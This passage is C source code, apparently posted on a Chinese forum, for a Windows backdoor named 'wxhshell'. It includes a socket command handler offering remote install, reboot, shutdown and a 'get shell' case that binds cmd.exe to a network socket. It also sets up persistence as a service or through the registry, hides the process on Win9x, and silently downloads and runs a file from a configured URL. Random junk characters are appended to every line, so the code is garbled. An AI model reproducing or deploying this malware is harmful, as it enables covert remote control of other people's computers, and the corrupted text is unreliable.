      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n<+g{QHi  
    break; |#^wYZO1U  
  } HZX(kYV  
  // 安装 _ fJ 5z  
  case 'i': { J^m#984  
    if(Install()) Dp3&@M"^yY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDK4I3a  
    else U-&dn%Sq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UzTFT:\  
    break; R*|y:T,H  
    } c07'mgsU  
  // 卸载 CoO..  
  case 'r': { ?%-VSL>$w=  
    if(Uninstall()) ~)xg7\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I]+xerVd  
    else {]BPSj{B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/Y9t8kk  
    break; z~fZg6  
    } E%8Op{zv_  
  // 显示 wxhshell 所在路径 b&BkT%aA(G  
  case 'p': { (&t741DN|  
    char svExeFile[MAX_PATH]; JcV'O)&  
    strcpy(svExeFile,"\n\r"); g?&_5)&  
      strcat(svExeFile,ExeFile); Xo[j*<=0  
        send(wsh,svExeFile,strlen(svExeFile),0); x8x8T $  
    break; %Z_/MNI  
    } B?n 6o|8  
  // 重启 5ar2Y$bY  
  case 'b': { `s1>7XWf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y.vYT{^  
    if(Boot(REBOOT))  t~_vzG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@%Q 2_  
    else { Uao8#<CkvJ  
    closesocket(wsh); NN> E1d=  
    ExitThread(0); @ByD=  
    } u*}[fQ`aF  
    break; T<XGG_NOl  
    } ["O/%6b9+  
  // 关机 (dvsGYT|.  
  case 'd': { /Q]6"nY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ={g.Fn(_  
    if(Boot(SHUTDOWN)) m{#?fR=9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9d kuvk}:  
    else { ?OjZb'+=K  
    closesocket(wsh); vtx3a^  
    ExitThread(0); y0}3s)lKv  
    } py|ORVN(Z  
    break; M$J{clr  
    } y-#{v.|L  
  // 获取shell 0c}pg:XT  
  case 's': { oz8z%*9 (  
    CmdShell(wsh); !V.2~V[^M  
    closesocket(wsh); Q+<{2oVz  
    ExitThread(0); G.{)#cR  
    break; r< MW8  
  }  {^8->V  
  // 退出 ;r8< Ed  
  case 'x': { s8:-*VR9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #!.26RM:P  
    CloseIt(wsh); +jD*Jtb<  
    break; sh#hDU/</  
    } reP)&Fo  
  // 离开 %>io$o  
  case 'q': { &0`[R*S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [LF<aR5  
    closesocket(wsh); fvE:'( #?  
    WSACleanup(); 9M12|X\]8  
    exit(1); rbt/b0ET  
    break; #jqcUno  
        } /}\Uw  
  } Z>l%:;H  
  } / biB *Z  
H@uDP  
  // 提示信息 90Sp(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hd_W5R  
} w;p~|!  
  } R3bHX%T  
q?##S'  
  return; dje}C bZ  
} < $>Jsv  
xJ rKH  
// shell模块句柄 5>x?2rp  
int CmdShell(SOCKET sock) %G`GdG}T  
{ aj`_* T"A  
STARTUPINFO si; /^pPT6  
ZeroMemory(&si,sizeof(si)); AZH= r S`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vh}F#~BrI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I xk+y?  
PROCESS_INFORMATION ProcessInfo; BG9.h!  
char cmdline[]="cmd"; NsN =0ff  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "6t#   
  return 0; O<>cuW(l  
} 7x''V5*j  
""W*) rR   
// 自身启动模式 ;&} rO.0  
int StartFromService(void) @,Kl"i;  
{ b[Qe} `W  
typedef struct xT8pwTO  
{ %8c2d  
  DWORD ExitStatus; <$@*'i^7Ez  
  DWORD PebBaseAddress; lL;SP&  
  DWORD AffinityMask; [))TL  
  DWORD BasePriority; 9g~"Y[ ]  
  ULONG UniqueProcessId; x='T`*HD  
  ULONG InheritedFromUniqueProcessId; _Squ%z:D  
}   PROCESS_BASIC_INFORMATION; 5H79-QLd  
_^MkC} 8  
PROCNTQSIP NtQueryInformationProcess; yKB&][)&  
lN~V1(1B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RlUX][)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jnIf (a  
rE?Fp  
  HANDLE             hProcess; UAEu.AT  
  PROCESS_BASIC_INFORMATION pbi; ! _p(H  
]9PQKC2&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )cV*cDL1j  
  if(NULL == hInst ) return 0; ',bSJ4)Y  
tl"?AQcBR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SUN!8 qFA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LK:Jkjp^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jt`\n1q)  
|))O3]-  
  if (!NtQueryInformationProcess) return 0; .C\##   
:d=: >_[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 11YpC;[o  
  if(!hProcess) return 0; >_|$7m.?n[  
^\Epz* cL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8;v/b3  
Xy]Pmt  
  CloseHandle(hProcess); > e"vP W*[  
SX]uIkw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <^da-b>C  
if(hProcess==NULL) return 0; b Od<x >@  
6olJ7`*  
HMODULE hMod; &>A<{J@VL  
char procName[255]; 2(i| n=  
unsigned long cbNeeded; czg9tG8  
YR-Ge  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -gB9476-  
2y5d  
  CloseHandle(hProcess); v2jpao<K  
B+2E IaI  
if(strstr(procName,"services")) return 1; // 以服务启动 +SNjU"x  
{ RC&Ub>  
  return 0; // 注册表启动 D"M[}$P  
} {Jc.49  
KBa ]s q_  
// 主模块 xG WA5[YV  
int StartWxhshell(LPSTR lpCmdLine) }fJLY\  
{ x@3" SiC  
  SOCKET wsl; u*$]Bx  
BOOL val=TRUE; ipC <p?PpR  
  int port=0; F R(k==pZ  
  struct sockaddr_in door; Hu$y8_Udw  
y.$Ae1a=  
  if(wscfg.ws_autoins) Install(); Ay0.D FL  
C7Fx V2  
port=atoi(lpCmdLine); [H@71+_Q  
2( U;{;\n*  
if(port<=0) port=wscfg.ws_port; L6./5`bs  
NwyNl  
  WSADATA data; L+8{%\UPd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <q&4Y+b  
}<^QW't_Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;EQ7kuJQ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nJ}@9v F/  
  door.sin_family = AF_INET; 8.:WMH`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kay\;fXT  
  door.sin_port = htons(port); 3 sD|R{  
&y&HxV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rK\9#[?x  
closesocket(wsl); ^yX>^1  
return 1; x~Dj2 F]  
} hp`ZmLq/[  
sYbmL`{  
  if(listen(wsl,2) == INVALID_SOCKET) { l b;P&V  
closesocket(wsl); i5aY{3!  
return 1; Y5c[9\'\  
} OT0IGsJ"'  
  Wxhshell(wsl); ~owodc  
  WSACleanup(); &["e1ki  
^YJ%^P  
return 0; wXtp(YwlH  
XZ@ |(_Z  
} ( k,?)  
]!j%Ad  
// 以NT服务方式启动 e/&^~ $h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >}:  
{ THARr#1b};  
DWORD   status = 0; n(`|:h"  
  DWORD   specificError = 0xfffffff; d<6m_! L  
%>$Pu y\U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A$i^/hJs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9F[_xe@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sy' ]fGvx  
  serviceStatus.dwWin32ExitCode     = 0; [r!f&R  
  serviceStatus.dwServiceSpecificExitCode = 0; kD0bdE|  
  serviceStatus.dwCheckPoint       = 0; #;f50j!r  
  serviceStatus.dwWaitHint       = 0; Au6Y]  
zez|l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \VA*3U^@  
  if (hServiceStatusHandle==0) return; [2Zl '+  
0?}n(f!S  
status = GetLastError(); NWP!V@WG  
  if (status!=NO_ERROR) 4Us_Z{.  
{ gJCZ9{Nl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~>HzAo9e  
    serviceStatus.dwCheckPoint       = 0; Rw|'LaW  
    serviceStatus.dwWaitHint       = 0; S8Y\@C?5  
    serviceStatus.dwWin32ExitCode     = status; gq"d$Xh$x7  
    serviceStatus.dwServiceSpecificExitCode = specificError; :.r_4$F:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v+I-*,R  
    return; *AYq :n6  
  } 6T4I,XrY_F  
r fzNw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s*s~yH6  
  serviceStatus.dwCheckPoint       = 0; dI&Q5M8  
  serviceStatus.dwWaitHint       = 0; <N1wET-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cPD_=.&  
} ]8}51y8  
T N1pg  
// 处理NT服务事件,比如:启动、停止 #c5jCy}n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .] sJl  
{ tAF?. \x"g  
switch(fdwControl) tq}45{FH3  
{ ! 5NuFLOf  
case SERVICE_CONTROL_STOP: ;8eKAh  
  serviceStatus.dwWin32ExitCode = 0; *8WB($T}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2ozh!8aL  
  serviceStatus.dwCheckPoint   = 0; Ps74SoD-  
  serviceStatus.dwWaitHint     = 0; W*t] d  
  { bh<;px-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'gvR?[!t  
  } 3iIy_nWC  
  return; nuXL{tg6  
case SERVICE_CONTROL_PAUSE: XzHR^^;u"*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; USEb} M`  
  break; v6s,lC5qR  
case SERVICE_CONTROL_CONTINUE: 68Gywk3]=u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8HQ.MXKP  
  break; D]]wJQU2  
case SERVICE_CONTROL_INTERROGATE: ^>?=L\[  
  break; +yp:douERi  
}; .VCY|KZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "FWx;65CR  
} \&5V';  
I I+y  
// 标准应用程序主函数 UowvkVa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {aUnOyX_  
{ h 6Z:+  
G{3 |d/;Bt  
// 获取操作系统版本 } #rTUX  
OsIsNt=GetOsVer(); gvA}s/   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7C|!Wno[;  
x9vSekV  
  // 从命令行安装 n^Ca?|} ,  
  if(strpbrk(lpCmdLine,"iI")) Install(); |oi+|r  
#$I@V4O;#  
  // 下载执行文件 ->8Kd1^F  
if(wscfg.ws_downexe) { UqOBr2 UmG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Jd"3Si/  
  WinExec(wscfg.ws_filenam,SW_HIDE); rm8Ys61\=  
} H#~gx_^U  
Nmj)TOEPW  
if(!OsIsNt) { 1f`De`zXzr  
// 如果时win9x,隐藏进程并且设置为注册表启动 9 {&g.+  
HideProc(); fQJ`&9m*BF  
StartWxhshell(lpCmdLine); ^#Ha H  
} s;BMj^x  
else /MGapmqV9  
  if(StartFromService()) ABN4kM>%  
  // 以服务方式启动 Qt>K{ >9Cf  
  StartServiceCtrlDispatcher(DispatchTable); n#lbfN 4  
else a!9'yc  
  // 普通方式启动 #ibwD:{  
  StartWxhshell(lpCmdLine); C!j3@EZ$  
T/_u;My;  
return 0; S,c{LTL  
}
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只看该作者 1 发表于: 2006-10-10
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